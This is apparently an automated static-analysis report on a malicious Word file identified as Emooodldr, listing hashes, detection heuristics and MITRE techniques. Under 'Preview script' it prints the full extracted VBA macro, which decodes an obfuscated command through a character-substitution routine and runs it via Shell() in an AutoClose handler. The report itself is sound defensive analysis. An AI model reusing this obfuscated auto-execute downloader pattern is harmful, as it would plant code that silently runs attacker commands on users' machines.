Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 fb74870bd4441e59…

MALICIOUS

Office (OOXML)

53.6 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-10
MD5: 01ed114fde71c5f9e77dfdcec884767a SHA-1: 1ef6aed3d369cf10977426fab35e78886469ada3 SHA-256: fb74870bd4441e5933712c79804c3d9aeb0ba86162295990183abe8daa235c3d
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample contains VBA macros, specifically an Auto_Close macro, which is a common technique for executing malicious code upon document closure. The heuristics indicate the use of Shell() calls and obfuscated p-code, suggesting the macro attempts to download and execute a secondary payload. ClamAV detections confirm the malicious nature and identify it as Emooodldr.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2112 bytes
SHA-256: 15b25a8440c2f60cbcf4791e890a61eb6cdd144c0faa94066344e22dfa11083a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function pandurate(rosaline)
  peakedly = Array("I", "b", "N", "X", "5", "7", "w", "v", "C", "6", "Z", "L", "W", "M", "", "q", "A", "Q", "d", "K", "u", "2", "E", "i", "F")
  unaccented = Array("U", "O", " ", "o", "c", "x", "e", "/", "t", "j", "g", "s", ".", "i", "u", "n", ":", "d", "=", "k", "m", "h", "a", "?", "p")
  
  masterminds = vbNullString
  
  For Each aeroembolism In rosaline
    unsounded = Application.Run("maltiness", aeroembolism, peakedly)
    If unsounded > -1 Then
    masterminds = unaccented(unsounded) + masterminds
    End If
  Next
  
  pandurate = StrReverse(masterminds)
  
End Function

Public Function maltiness(telefunken, tells)

  finical = 7625
  ribgrassator = -1
  For Each furciform In tells
    If furciform = telefunken Then
     finical = ribgrassator
     Exit For
    End If

    ribgrassator = ribgrassator + 1
    
  Next

  
  If finical = 7625 Then
    finical = -1
  End If


  maltiness = finical + 1
End Function




Sub AutoClose()
  rosaline = Array("u", "L", "2", "C", "E", "W", "w", "7", "w", "N", "2", "C", "C", "F", "A", "v", "v", "Z", "X", "K", "X", "K", "M", "6", "L", "Q", "6", "q", "7", "5", "F", "E", "F", "Q", "X", "E", "L", "Q", "W", "5", "X", "u", "v", "b", "I", "v", "L", "u", "M", "7", "W", "F", "2", "F", "i", "", "C", "u", "E", "d", "K", "M", "u", "X", "M")
  nocturnes = pandurate(rosaline)
  
  Application.Run "baboonery", (nocturnes)
  
End Sub


Private Sub baboonery(coumarou)
   
   maitreya = 5011
   spondylic = True
   
   While spondylic
     imprescriptibly = maitreya + 27733
     If imprescriptibly - maitreya > 313 Then
       utfangenethef = howled + "ll"
       Call VBA.Shell(coumarou, vbNormalFocus - 1)
       spondylic = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 04b5bcaaef2227c2fc6c0288a3746e975653fb2a37438260e844211b5defd0c3
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.